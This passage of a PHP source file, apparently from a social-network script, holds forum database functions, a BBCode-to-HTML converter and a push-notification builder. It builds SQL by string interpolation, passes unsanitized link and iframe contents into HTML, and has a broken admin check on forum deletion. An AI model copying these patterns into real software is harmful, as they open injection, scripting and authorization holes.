"limit" => 10 )); $data['forum'] = $fetched_data; $data['forums'] = Wo_GetForums(); } } return $data; } function Wo_GetForum($fid) { global $sqlConnect; if (!$fid || !is_numeric($fid)) { return array(); } $sql_query_one = mysqli_query($sqlConnect, "SELECT * FROM " . T_FORUMS . " WHERE `id` = '$fid'"); if (mysqli_num_rows($sql_query_one)) { $fetched_data = mysqli_fetch_assoc($sql_query_one); if (!empty($fetched_data)) { $fetched_data['name'] = Wo_GetShortTitle($fetched_data['name'], true); } return $fetched_data; } return false; } function Wo_GetForumThreads($args = array()) { global $sqlConnect; $options = array( "forum" => false, "offset" => 0, "limit" => 10, "id" => false, "search" => false, "subject" => false, "post" => false, "user" => false, "preview" => false, "order_by" => "DESC" ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $search = Wo_Secure($args['search']); $subject = Wo_Secure($args['subject']); $post = Wo_Secure($args['post']); $limit = Wo_Secure($args['limit']); $forum = Wo_Secure($args['forum']); $order_by = Wo_Secure($args['order_by']); $id = Wo_Secure($args['id']); $user = Wo_Secure($args['user']); $preview = Wo_Secure($args['preview']); $query_one = ""; $ordering = ""; if ($offset > 0) { $query_one .= " AND `id` < {$offset} AND `id` <> {$offset} "; } if ($id) { $query_one .= " AND `id` = '$id' "; } if ($user) { $query_one .= " AND `user` = '$user' "; } if ($forum) { $query_one .= " AND `forum` = '$forum' "; } if ($search) { if ($subject) { $query_one .= " AND `headline` LIKE '%$subject%' "; } if ($post) { $query_one .= " AND `post` LIKE '%$post%' "; } } if ($order_by == "DESC" || $order_by == "ASC") { $query_one .= " ORDER BY `id` $order_by "; } if ($limit && $limit > 0) { $query_one .= " LIMIT {$limit} "; } $sql_query = "SELECT * FROM " . T_FORUM_THREADS . " WHERE `posted` > 0 {$query_one} "; $sql_queryset = mysqli_query($sqlConnect, $sql_query); $data = array(); while ($fetched_data = mysqli_fetch_assoc($sql_queryset)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user']); $fetched_data['url'] = Wo_SeoLink("index.php?link1=showthread&tid=" . $fetched_data['id']); $fetched_data['author_url'] = Wo_SeoLink("index.php?link1=timeline&u=" . $fetched_data['user_data']['username']); $fetched_data['orginal_headline'] = $fetched_data['headline']; $fetched_data['headline'] = Wo_GetShortTitle($fetched_data['headline'], $preview); $fetched_data['edit_url'] = Wo_SeoLink('index.php?link1=edithread&tid=' . $fetched_data['id']); if (empty($args['threadreplies'])) { $fetched_data['threadreplies'] = Wo_GetThreadReplies(array( "thread_id" => $fetched_data['id'] )); } $fetched_data['replies'] = Wo_GetTotalReplies(array( "thread" => $fetched_data['id'] )); $data[] = $fetched_data; } return $data; } function Wo_GetMyReplies($args = array()) { global $sqlConnect, $wo; $options = array( "offset" => 0, "limit" => 10 ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $limit = Wo_Secure($args['limit']); $query_one = ""; if ($offset > 0) { $query_one .= " AND `id` < {$offset} AND `id` <> {$offset} "; } if ($limit) { $query_one .= " ORDER BY `id` DESC LIMIT {$limit} "; } $user_id = $wo['user']['id']; $sql_query = "SELECT * FROM " . T_FORUM_THREAD_REPLIES . " WHERE `poster_id` = '$user_id' {$query_one} "; $sql_queryset = mysqli_query($sqlConnect, $sql_query); $data = array(); while ($fetched_data = mysqli_fetch_assoc($sql_queryset)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['poster_id']); $fetched_data['forum'] = Wo_GetForum($fetched_data['forum_id']); $fetched_data['edit_url'] = Wo_SeoLink("index.php?link1=editreply&tid=" . $fetched_data['id']); $fetched_data['url'] = Wo_SeoLink("index.php?link1=showthread&tid=" . $fetched_data['thread_id']); $fetched_data['post_subject'] = Wo_GetShortTitle($fetched_data['post_subject']); $data[] = $fetched_data; } return $data; } function Wo_GetThreadReplies($args = array()) { global $sqlConnect, $wo; $options = array( "thread_id" => false, "offset" => 0, "search" => false, "forum" => false, "subject" => false, "reply" => false, "user" => false, "limit" => 10, "id" => false, "order_by" => "ASC" ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $forum = Wo_Secure($args['forum']); $limit = Wo_Secure($args['limit']); $thread_id = Wo_Secure($args['thread_id']); $limit = Wo_Secure($args['limit']); $order_by = Wo_Secure($args['order_by']); $id = Wo_Secure($args['id']); $poster_id = Wo_Secure($args['user']); $query_one = ""; if ($thread_id) { $query_one .= " AND `thread_id` = '$thread_id' "; } if ($offset > 0) { $query_one .= " AND `id` > {$offset} AND `id` <> {$offset} "; } if ($id) { $query_one .= " AND `id` = '$id' "; } if ($poster_id) { $query_one .= " AND `poster_id` = '$poster_id' "; } if ($order_by == "DESC" || $order_by == "ASC") { $query_one .= " ORDER BY `id` $order_by "; } if ($limit) { $query_one .= " LIMIT {$limit} "; } $sql_query = "SELECT * FROM " . T_FORUM_THREAD_REPLIES . " WHERE `posted_time` > 0 {$query_one} "; $sql_queryset = mysqli_query($sqlConnect, $sql_query); $data = array(); while ($fetched_data = mysqli_fetch_assoc($sql_queryset)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['poster_id']); $fetched_data['is_owner'] = ($fetched_data['poster_id'] == $wo['user']['id']) ? true : false; $fetched_data['is_admin'] = ($wo['user']['admin'] == 1) ? true : false; $fetched_data['reply-url'] = Wo_SeoLink("index.php?link1=threadquote&tid=" . $fetched_data['id']); $fetched_data['edit-url'] = Wo_SeoLink("index.php?link1=editreply&tid=" . $fetched_data['id']); if ($forum) { $fetched_data['forum'] = Wo_GetForum($fetched_data['forum_id']); } $data[] = $fetched_data; } return $data; } function Wo_SearchThreadReplies($args = array()) { global $sqlConnect, $wo; $options = array( "thread_id" => false, "offset" => 0, "subject" => false, "reply" => false, "user" => false, "limit" => 10 ); $args = array_merge($options, $args); $subject = Wo_Secure($args['subject']); $reply = Wo_Secure($args['reply']); $thread_id = Wo_Secure($args['thread_id']); $limit = Wo_Secure($args['limit']); $poster_id = Wo_Secure($args['user']); $query_one = ""; if ($subject && $reply) { $search_q = "(`post_subject` LIKE '%$subject%' OR `post_text` LIKE '%$reply%')"; } else if ($subject) { $search_q = " `post_subject` LIKE '%$subject%' "; } else if ($reply) { $search_q = " `post_text` LIKE '%$reply%' "; } if ($thread_id) { $query_one .= " AND `thread_id` = '$thread_id' "; } if ($poster_id) { $query_one .= " AND `poster_id` = '$poster_id' "; } if ($limit) { $query_one .= " LIMIT {$limit} "; } $sql_query = "SELECT * FROM " . T_FORUM_THREAD_REPLIES . " WHERE {$search_q} AND `posted_time` > 0 {$query_one} "; $sql_queryset = mysqli_query($sqlConnect, $sql_query); $data = array(); while ($fetched_data = mysqli_fetch_assoc($sql_queryset)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['poster_id']); $fetched_data['is_owner'] = ($fetched_data['poster_id'] == $wo['user']['id']) ? true : false; $fetched_data['is_admin'] = ($wo['user']['admin'] == 1) ? true : false; $fetched_data['reply-url'] = Wo_SeoLink("index.php?link1=threadquote&tid=" . $fetched_data['id']); $fetched_data['edit-url'] = Wo_SeoLink("index.php?link1=editreply&tid=" . $fetched_data['id']); $data[] = $fetched_data; } return $data; } function Wo_IsReplyOwner($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$id || !is_numeric($id)) { return false; } $sql_query = "SELECT * FROM " . T_FORUM_THREAD_REPLIES . " WHERE `id` = '$id' "; $sql_queryset = mysqli_query($sqlConnect, $sql_query); $fetched_data = mysqli_fetch_assoc($sql_queryset); if (!empty($fetched_data)) { if ($fetched_data['poster_id'] == $wo['user']['id'] || $wo['user']['admin'] == 1) { return true; } } return false; } function Wo_GetForumUsers($args = array()) { global $wo, $sqlConnect; $data = array(); $options = array( "key" => false, "offset" => 0, "name" => false, "id" => false, "limit" => false ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $limit = Wo_Secure($args['limit']); $key = Wo_Secure($args['key']); $name = Wo_Secure($args['name']); $id = Wo_Secure($args['id']); $query_one = ""; if ($offset > 0) { $query_one .= " AND `user_id` < {$offset} AND `user_id` <> {$offset} "; } if ($key) { $query_one .= " AND `username` LIKE '$key%'"; } if ($name) { $query_one .= " AND `username` LIKE '%$name%'"; } $sql = mysqli_query($sqlConnect, " SELECT `user_id` FROM " . T_USERS . " WHERE `type` = 'user' {$query_one} ORDER BY `user_id` DESC LIMIT 10 "); if (mysqli_num_rows($sql)) { while ($fetched_data = mysqli_fetch_assoc($sql)) { $data_user = Wo_UserData($fetched_data['user_id']); $data_user['forum_posts'] = Wo_GetTotalThreads(array( 'user' => $fetched_data['user_id'] )); $data[] = $data_user; } } return $data; } function Wo_IsThreadOwner($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$id || !is_numeric($id)) { return false; } $sql_query = "SELECT * FROM " . T_FORUM_THREADS . " WHERE `id` = '$id' "; $sql_queryset = mysqli_query($sqlConnect, $sql_query); $fetched_data = mysqli_fetch_assoc($sql_queryset); if (!empty($fetched_data)) { if ($fetched_data['user'] == $wo['user']['id'] || $wo['user']['admin'] == 1) { return true; } } return false; } function Wo_AddTopic($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_FORUM_THREADS . " ({$fields}) VALUES ({$data})"); if ($query) { return true; } return false; } function Wo_AddForumSection($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || Wo_IsAdmin() == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_FORUM_SEC . " ({$fields}) VALUES ({$data})"); if ($query) { return true; } return false; } function Wo_AddForum($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || Wo_IsAdmin() == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_FORUMS . " ({$fields}) VALUES ({$data})"); if ($query) { return true; } return false; } function Wo_ThreadReply($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query_one = "INSERT INTO " . T_FORUM_THREAD_REPLIES . " ({$fields}) VALUES ({$data})"; $query = mysqli_query($sqlConnect, $query_one); if ($query) { $thread = Wo_GetForumThreads(array( 'threadreplies' => true )); $notification_data_array = array( 'recipient_id' => $thread[0]['user_data']['user_id'], 'type' => 'forum_reply', 'thread_id' => $registration_data['thread_id'], 'url' => 'index.php?link1=showthread&tid=' . $registration_data['thread_id'] ); return true; } return false; } function Wo_BbcodeToHtml($bbtext) { $bbtags = array( '[paragraph]' => '<p>', '[/paragraph]' => '</p>', '[left]' => '<p style="text-align:left;">', '[/left]' => '</p>', '[right]' => '<p style="text-align:right;">', '[/right]' => '</p>', '[center]' => '<p style="text-align:center;">', '[/center]' => '</p>', '[quote]' => '<blockquote class="quote">', '[/quote]' => '</blockquote>', '[justify]' => '<p style="text-align:justify;">', '[/justify]' => '</p>', '[bold]' => '<span style="font-weight:bold;">', '[/bold]' => '</span>', '[italic]' => '<span style="font-weight:bold;">', '[/italic]' => '</span>', '[underline]' => '<span style="text-decoration:underline;">', '[/underline]' => '</span>', '[b]' => '<span style="font-weight:bold;">', '[/b]' => '</span>', '[i]' => '<span style="font-weight:bold;">', '[/i]' => '</span>', '[u]' => '<span style="text-decoration:underline;">', '[/u]' => '</span>', '[sm]' => '<small>', '[/sm]' => '</small>', '[nl]' => '<br>', '[s]' => '<s>', '[/s]' => '</s>', '[unordered_list]' => '<ul>', '[/unordered_list]' => '</ul>', '[ordered_list]' => '<ol style="list-style-type:decimal;">', '[/ordered_list]' => '</ol>', '[*]' => '<li>', '[/*]' => '</li>', '[pre]' => '<pre>', '[/pre]' => '</pre>', '[code]' => '<code>', '[/code]' => '</code>' ); $bbtext = str_ireplace(array_keys($bbtags), array_values($bbtags), $bbtext); $bbextended = array( "/\[url](.*?)\[\/url]/i" => "<a href=\"$1\" title=\"$1\">$1</a>", "/\[url=(.*?)\](.*?)\[\/url\]/i" => "<a href=\"$1\" title=\"$1\">$2</a>", "/\[email=(.*?)\](.*?)\[\/email\]/i" => "<a href=\"mailto:$1\">$2</a>", "/\[mail=(.*?)\](.*?)\[\/mail\]/i" => "<a href=\"mailto:$1\">$2</a>", "/\[img\]([^[]*)\[\/img\]/i" => "<img src=\"$1\" alt=\" \" />", "/\[iframe\]([^[]*)\[\/iframe\]/i" => "<iframe src=\"$1\" frameborder=\"0\" allowfullscreen width=\"560\" height=\"315\" /></iframe>", "/\[image\]([^[]*)\[\/image\]/i" => "<img src=\"$1\" alt=\" \" />", "/\[image_left\]([^[]*)\[\/image_left\]/i" => "<img src=\"$1\" alt=\" \" class=\"img_left\" />", "/\[image_right\]([^[]*)\[\/image_right\]/i" => "<img src=\"$1\" alt=\" \" class=\"img_right\" />" ); foreach ($bbextended as $match => $replacement) { $bbtext = preg_replace($match, $replacement, $bbtext); } return $bbtext; } function Wo_ThreadUpdate($id = 0, $update_data = array()) { global $sqlConnect, $wo; $update = array(); if ($wo['loggedin'] == false) { return false; } if (empty($update_data)) { return false; } if (empty($id)) { return false; } foreach ($update_data as $field => $data) { $update[] = '`' . $field . '` = \'' . $data . '\''; } $impload = implode(', ', $update); $query_one = "UPDATE " . T_FORUM_THREAD_REPLIES . " SET {$impload} WHERE `id` = {$id} "; $query = mysqli_query($sqlConnect, $query_one); return $query; } function Wo_UpdateTopic($id = 0, $update_data = array()) { global $sqlConnect, $wo; $update = array(); if ($wo['loggedin'] == false) { return false; } if (empty($update_data)) { return false; } if (empty($id)) { return false; } foreach ($update_data as $field => $data) { $update[] = '`' . $field . '` = \'' . $data . '\''; } $impload = implode(', ', $update); $query_one = "UPDATE " . T_FORUM_THREADS . " SET {$impload} WHERE `id` = {$id} "; $query = mysqli_query($sqlConnect, $query_one); return $query; } function Wo_DeleteThreadReply($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$id || !is_numeric($id)) { return false; } if (!Wo_IsReplyOwner($id)) { if (Wo_IsAdmin() == false && Wo_IsModerator() == false) { return false; } } $query_one = mysqli_query($sqlConnect, "DELETE FROM " . T_FORUM_THREAD_REPLIES . " WHERE `id` = '$id'"); if ($query_one) { return true; } return false; } function Wo_DeleteForumThread($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$id || !is_numeric($id)) { return false; } if (!Wo_IsThreadOwner($id)) { if (Wo_IsAdmin() == false && Wo_IsModerator() == false) { return false; } } $query_one = mysqli_query($sqlConnect, "DELETE FROM " . T_FORUM_THREADS . " WHERE `id` = '$id'"); $query_two = mysqli_query($sqlConnect, "DELETE FROM " . T_FORUM_THREAD_REPLIES . " WHERE `thread_id` = '$id'"); $query_two = mysqli_query($sqlConnect, "DELETE FROM " . T_NOTIFICATION . " WHERE `thread_id` = '{$id}'"); if ($query_one && $query_two) { return true; } return false; } function Wo_DeleteForum($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false && Wo_IsAdmin() == false) { return false; } if (!$id || !is_numeric($id)) { return false; } $query_one = mysqli_query($sqlConnect, "DELETE FROM " . T_FORUMS . " WHERE `id` = '$id'"); $query_two = mysqli_query($sqlConnect, "DELETE FROM " . T_FORUM_THREADS . " WHERE `forum` = '$id'"); $query_three = mysqli_query($sqlConnect, "DELETE FROM " . T_FORUM_THREAD_REPLIES . " WHERE `forum_id` = '$id'"); if ($query_one && $query_two && $query_three) { return true; } return false; } function Wo_DeleteForumSection($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false && Wo_IsAdmin() == false) { return false; } if (!$id || !is_numeric($id)) { return false; } $section = Wo_GetForumSec(array( 'id' => $id, 'forums' => true )); $query_0 = mysqli_query($sqlConnect, "DELETE FROM " . T_FORUM_SEC . " WHERE `id` = '$id'"); if (count($section) > 0) { foreach ($section[0]['forums'] as $forum) { Wo_DeleteForum($forum['id']); } if ($query_0) { return true; } } else { return true; } return false; } function Wo_AddThreadView($id = false) { global $sqlConnect; if (!$id || !is_numeric($id)) { return false; } $query = "UPDATE " . T_FORUM_THREADS . " SET `views` = `views` + 1 WHERE `id` = '$id'"; $query_one = mysqli_query($sqlConnect, $query); if ($query_one) { return true; } return false; } function Wo_UpdateThreadLastPostTime($id = false) { global $sqlConnect; if (!$id || !is_numeric($id)) { return false; } $time = time(); $query = "UPDATE " . T_FORUM_THREADS . " SET `last_post` = '$time' WHERE `id` = '$id'"; $query_one = mysqli_query($sqlConnect, $query); if ($query_one) { return true; } return false; } function Wo_GetTotalForums() { global $sqlConnect; $sql_queryset = mysqli_query($sqlConnect, "SELECT COUNT(`id`) AS total FROM " . T_FORUMS); $fetched_data = mysqli_fetch_assoc($sql_queryset); return $fetched_data['total']; } function Wo_GetTotalThreads($args = array()) { global $sqlConnect; $options = array( "forum" => false, "user" => false ); $args = array_merge($options, $args); $forum = Wo_Secure($args['forum']); $user = Wo_Secure($args['user']); $query = ""; if ($forum) { $query .= " AND `forum` = '$forum' "; } if ($user) { $query .= " AND `user` = '$user' "; } $sql_queryset = mysqli_query($sqlConnect, "SELECT COUNT(`id`) AS total FROM " . T_FORUM_THREADS . " WHERE `id` > 0 {$query} "); $fetched_data = mysqli_fetch_assoc($sql_queryset); return $fetched_data['total']; } function Wo_GetTotalReplies($args = array()) { global $sqlConnect; $options = array( "thread" => false, "user" => false ); $args = array_merge($options, $args); $thread = Wo_Secure($args['thread']); $user = Wo_Secure($args['user']); $query = ""; if ($thread) { $query .= " AND `thread_id` = '$thread' "; } if ($user) { $query .= " AND `poster_id` = '$user' "; } $sql_queryset = mysqli_query($sqlConnect, "SELECT COUNT(`id`) AS total FROM " . T_FORUM_THREAD_REPLIES . " WHERE `id` > 0 {$query} "); $fetched_data = mysqli_fetch_assoc($sql_queryset); return $fetched_data['total']; } function Wo_GetTotalUsers() { global $sqlConnect; $sql_queryset = mysqli_query($sqlConnect, "SELECT COUNT(`user_id`) AS total FROM " . T_USERS); $fetched_data = mysqli_fetch_assoc($sql_queryset); return $fetched_data['total']; } function Wo_NotificationWebPushNotifier() { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if ($wo['config']['push'] == 0) { return false; } if ($wo['config']['android_push_native'] == 0 && $wo['config']['ios_push_native'] == 0 && $wo['config']['web_push'] == 0) { return false; } $user_id = Wo_Secure($wo['user']['user_id']); $to_ids = array(); $query_get = mysqli_query($sqlConnect, "SELECT * FROM " . T_NOTIFICATION . " WHERE `notifier_id` = '$user_id' AND `seen` = '0' AND `sent_push` = '0' AND `type` <> 'admin_notification' ORDER BY `id` DESC"); if (mysqli_num_rows($query_get) > 0) { while ($sql_get_notification_for_push = mysqli_fetch_assoc($query_get)) { $get_session_data = Wo_GetSessionDataFromUserID($sql_get_notification_for_push['recipient_id']); if (empty($get_session_data) || !empty($get_session_data)) { $notification_id = $sql_get_notification_for_push['id']; $to_id = $sql_get_notification_for_push['recipient_id']; $to_data = Wo_UserData($sql_get_notification_for_push['recipient_id']); $ids = array(); if (!empty($to_data['android_n_device_id']) || !empty($to_data['ios_n_device_id']) || !empty($to_data['web_device_id'])) { // if (!empty($to_data['web_device_id']) && !empty($to_data['device_id'])) { // $ids = array($to_data['web_device_id'], $to_data['device_id']); // } else if (!empty($to_data['web_device_id'])) { // $ids = array($to_data['web_device_id']); // } else { // $ids = array($to_data['device_id']); // } if (!empty($to_data['web_device_id']) && empty($to_data['ios_n_device_id']) && empty($to_data['android_n_device_id'])) { if ($wo['config']['web_push'] == 0) { return false; } } $send_array = array(); $lang = $wo['lang'] = Wo_LangsFromDB($to_data['language']); $sql_get_notification_for_push['type_text'] = ''; $notificationText = $sql_get_notification_for_push['text']; $notificationType2 = $sql_get_notification_for_push['type2']; if (isset($notificationType2) && !empty($notificationType2)) { if ($notificationType2 == 'post_image') { $type2 = $wo['lang']['photo_n_label']; } elseif ($notificationType2 == 'post_youtube' || $notificationType2 == 'post_video') { $type2 = $wo['lang']['video_n_label']; } elseif ($notificationType2 == 'post_file') { $type2 = $wo['lang']['file_n_label']; } elseif ($notificationType2 == 'post_vine') { $type2 = $wo['lang']['vine_n_label']; } elseif ($notificationType2 == 'post_soundFile') { $type2 = $wo['lang']['sound_n_label']; } elseif ($notificationType2 == 'post_avatar') { $type2 = $wo['lang']['avatar_n_label']; } elseif ($notificationType2 == 'post_cover') { $type2 = $wo['lang']['cover_n_label']; } else { $type2 = ''; } } else { $type2 = $wo['lang']['post_n_label']; } $orginal_txt = array( "{postType}", "{post}" ); $replaced_txt = array( $type2, $notificationText ); if (!empty($sql_get_notification_for_push['type'])) { if ($sql_get_notification_for_push['type'] == "reaction") { if ($notificationText == "post") { $sql_get_notification_for_push['type_text'] .= $wo['lang']['reacted_to_your_post']; } else if ($notificationText == "comment") { $sql_get_notification_for_push['type_text'] .= $wo['lang']['reacted_to_your_comment']; } else if ($notificationText == "replay") { $sql_get_notification_for_push['type_text'] .= $wo['lang']['reacted_to_your_replay']; } } if ($sql_get_notification_for_push['type'] == "following") { $sql_get_notification_for_push['type_text'] .= $wo['lang']['followed_you']; } if ($sql_get_notification_for_push['type'] == 'comment_mention') { $sql_get_notification_for_push['type_text'] .= $wo['lang']['comment_mention']; } if ($sql_get_notification_for_push['type'] == 'post_mention') { $sql_get_notification_for_push['type_text'] .= $wo['lang']['post_mention']; } if ($sql_get_notification_for_push['type'] == 'liked_post') { $sql_get_notification_for_push['type_text'] = str_replace($orginal_txt, $replaced_txt, $wo['lang']['liked_post']); } if ($sql_get_notification_for_push['type'] == 'wondered_post') { $lang_type = ($wo['config']['second_post_button'] == 'wonder') ? $wo['lang']['wondered_post'] : $wo['lang']['disliked_post']; $sql_get_notification_for_push['type_text'] = str_replace($orginal_txt, $replaced_txt, $lang_type); } if ($sql_get_notification_for_push['type'] == 'share_post') { $sql_get_notification_for_push['type_text'] = str_replace($orginal_txt, $replaced_txt, $wo['lang']['share_post']); } if ($sql_get_notification_for_push['type'] == 'comment') { $sql_get_notification_for_push['type_text'] = str_replace($orginal_txt, $replaced_txt, $wo['lang']['commented_on_post']); } if ($sql_get_notification_for_push['type'] == 'comment_reply') { $sql_get_notification_for_push['type_text'] = str_replace('{comment}', $sql_get_notification_for_push['text'], $wo['lang']['replied_to_comment']); } if ($sql_get_notification_for_push['type'] == 'comment_reply_mention') { $sql_get_notification_for_push['type_text'] = str_replace('{comment}', $sql_get_notification_for_push['text'], $wo['lang']['comment_reply_mention']); } if ($sql_get_notification_for_push['type'] == 'also_replied') { $sql_get_notification_for_push['type_text'] = str_replace('{comment}', $sql_get_notification_for_push['text'], $wo['lang']['also_replied']); } if ($sql_get_notification_for_push['type'] == 'liked_comment') { $sql_get_notification_for_push['type_text'] = str_replace('{comment}', $sql_get_notification_for_push['text'], $wo['lang']['liked_comment']); } if ($sql_get_notification_for_push['type'] == 'wondered_comment') { $lang_type = ($wo['config']['second_post_button'] == 'wonder') ? $wo['lang']['wondered_comment'] : $wo['lang']['disliked_comment']; $sql_get_notification_for_push['type_text'] = str_replace('{comment}', $sql_get_notification_for_push['text'], $lang_type); } if ($sql_get_notification_for_push['type'] == 'liked_reply_comment') { $sql_get_notification_for_push['type_text'] = str_replace('{comment}', $sql_get_notification_for_push['text'], $wo['lang']['liked_reply_comment']); } if ($sql_get_notification_for_push['type'] == 'wondered_reply_comment') { $lang_type = ($wo['config']['second_post_button'] == 'wonder') ? $wo['lang']['wondered_reply_comment'] : $wo['lang']['disliked_reply_comment']; $sql_get_notification_for_push['type_text'] = str_replace('{comment}', $sql_get_notification_for_push['text'], $lang_type); } if ($sql_get_notification_for_push['type'] == 'profile_wall_post') { $sql_get_notification_for_push['type_text'] = $wo['lang']['posted_on_timeline']; } if ($sql_get_notification_for_push['type'] == 'visited_profile') { $sql_get_notification_for_push['type_text'] = $wo['lang']['profile_visted']; } if ($sql_get_notification_for_push['type'] == 'liked_page') { $page = Wo_PageData($sql_get_notification_for_push['page_id']); $sql_get_notification_for_push['type_text'] = str_replace('{page_name}', $page['name'], $wo['lang']['liked_page']); } if ($sql_get_notification_for_push['type'] == 'joined_group') { $group = Wo_GroupData($sql_get_notification_for_push['group_id']); $sql_get_notification_for_push['type_text'] = str_replace('{group_name}', $group['name'], $wo['lang']['joined_group']); } if ($sql_get_notification_for_push['type'] == 'accepted_invite') { $page_id = @end(explode('/', $sql_get_notification_for_push['url'])); $page = Wo_PageData(Wo_PageIdFromPagename($page_id)); $sql_get_notification_for_push['type_text'] = str_replace('{page_name}', $page['name'], $wo['lang']['accepted_invited_page']); } if ($sql_get_notification_for_push['type'] == 'invited_page') { $page_id = @end(explode('/', $sql_get_notification_for_push['url'])); $page = Wo_PageData(Wo_PageIdFromPagename($page_id)); $sql_get_notification_for_push['type_text'] = str_replace('{page_name}', $page['name'], $wo['lang']['invited_page']); } if ($sql_get_notification_for_push['type'] == 'accepted_join_request') { $group_id = @end(explode('/', $sql_get_notification_for_push['url'])); $group = Wo_GroupData(Wo_GroupIdFromGroupname($group_id)); $sql_get_notification_for_push['type_text'] = str_replace('{group_name}', $group['name'], $wo['lang']['accepted_join_request']); } if ($sql_get_notification_for_push['type'] == 'added_you_to_group') { $group_id = @end(explode('/', $sql_get_notification_for_push['url'])); $group = Wo_GroupData(Wo_GroupIdFromGroupname($group_id)); $sql_get_notification_for_push['type_text'] = str_replace('{group_name}', $group['name'], $wo['lang']['added_you_to_group']); } if ($sql_get_notification_for_push['type'] == 'requested_to_join_group') { $sql_get_notification_for_push['type_text'] = $wo['lang']['requested_to_join_group']; } if ($sql_get_notification_for_push['type'] == 'interested_event') { $event_data = Wo_EventData($sql_get_notification_for_push['event_id']); $sql_get_notification_for_push['type_text'] = str_replace('{event_name}', $event_data['name'], $wo['lang']['is_interested']); } if ($sql_get_notification_for_push['type'] == 'going_event') { $event_data = Wo_EventData($sql_get_notification_for_push['event_id']); $sql_get_notification_for_push['type_text'] = str_replace('{event_name}', $event_data['name'], $wo['lang']['is_going']); } if ($sql_get_notification_for_push['type'] == 'invited_event') { $event_data = Wo_EventData($sql_get_notification_for_push['event_id']); $sql_get_notification_for_push['type_text'] = str_replace('{event_name}', $event_data['name'], $wo['lang']['invited_you_event']); } if ($sql_get_notification_for_push['type'] == 'forum_reply') { $sql_get_notification_for_push['type_text'] = $wo['lang']['replied_to_topic']; } if ($sql_get_notification_for_push['type'] == 'accepted_request') { if ($wo['config']['connectivitySystem'] == 1) { $sql_get_notification_for_push['type_text'] = $wo['lang']['accepted_friend_request']; } else { $sql_get_notification_for_push['type_text'] = $wo['lang']['accepted_follow_request']; } } if ($sql_get_notification_for_push['type'] == 'admin_notification') { $sql_get_notification_for_push['type_text'] = $sql_get_notification_for_push['text']; $sql_get_notification_for_push['url'] = $sql_get_notification_for_push['full_link']; } if ($sql_get_notification_for_push['type'] == 'page_admin') { $sql_get_notification_for_push['type_text'] = $wo['lang']['added_page_admin']; $sql_get_notification_for_push['url'] = $sql_get_notification_for_push['url']; } if ($sql_get_notification_for_push['type'] == 'group_admin') { $sql_get_notification_for_push['type_text'] = $wo['lang']['added_group_admin']; $sql_get_notification_for_push['url'] = $sql_get_notification_for_push['url']; } if ($sql_get_notification_for_push['type'] == 'added_u_as') { $sql_get_notification_for_push['type_text'] = $sql_get_notification_for_push['text']; $sql_get_notification_for_push['url'] = $sql_get_notification_for_push['url']; } if ($sql_get_notification_for_push['type'] == 'accept_u_as') { $sql_get_notification_for_push['type_text'] = $sql_get_notification_for_push['text']; $sql_get_notification_for_push['url'] = $sql_get_notification_for_push['url']; } if ($sql_get_notification_for_push['type'] == 'rejected_u_as') { $sql_get_notification_for_push['type_text'] = $sql_get_notification_for_push['text']; $sql_get_notification_for_push['url'] = $sql_get_notification_for_push['url']; } } $send_array['notification']['notification_content'] = $sql_get_notification_for_push['type_text']; $send_array['notification']['notification_data']['url'] = $sql_get_notification_for_push['url']; $send_array['notification']['notification_data']['post_id'] = $sql_get_notification_for_push['post_id']; if (!empty($sql_get_notification_for_push['reply_id'])) { $send_array['notification']['notification_data']['reply_id'] = $sql_get_notification_for_push['reply_id']; } if (!empty($sql_get_notification_for_push['comment_id'])) { $send_array['notification']['notification_data']['comment_id'] = $sql_get_notification_for_push['comment_id']; } if (!empty($sql_get_notification_for_push['page_id'])) { $send_array['notification']['notification_data']['page_id'] = $sql_get_notification_for_push['page_id']; } if (!empty($sql_get_notification_for_push['group_id'])) { $send_array['notification']['notification_data']['group_id'] = $sql_get_notification_for_push['group_id']; } if (!empty($sql_get_notification_for_push['group_chat_id'])) { $send_array['notification']['notification_data']['group_chat_id'] = $sql_get_notification_for_push['group_chat_id']; } if (!empty($sql_get_notification_for_push['event_id'])) { $send_array['notification']['notification_data']['event_id'] = $sql_get_notification_for_push['event_id']; } if (!empty($sql_get_notification_for_push['thread_id'])) { $send_array['notification']['notification_data']['thread_id'] = $sql_get_notification_for_push['thread_id']; } if (!empty($sql_get_notification_for_push['blog_id'])) { $send_array['notification']['notification_data']['blog_id'] = $sql_get_notification_for_push['blog_id']; } if (!empty($sql_get_notification_for_push['story_id'])) { $send_array['notification']['notification_data']['story_id'] = $sql_get_notification_for_push['story_id']; } $send_array['notification']['notification_data']['type'] = $sql_get_notification_for_push['type']; if ($wo['config']['android_push_native'] == 1 && !empty($to_data['android_n_device_id'])) { $send_array['send_to'] = array( $to_data['android_n_device_id'] ); $send_array['notification']['notification_title'] = 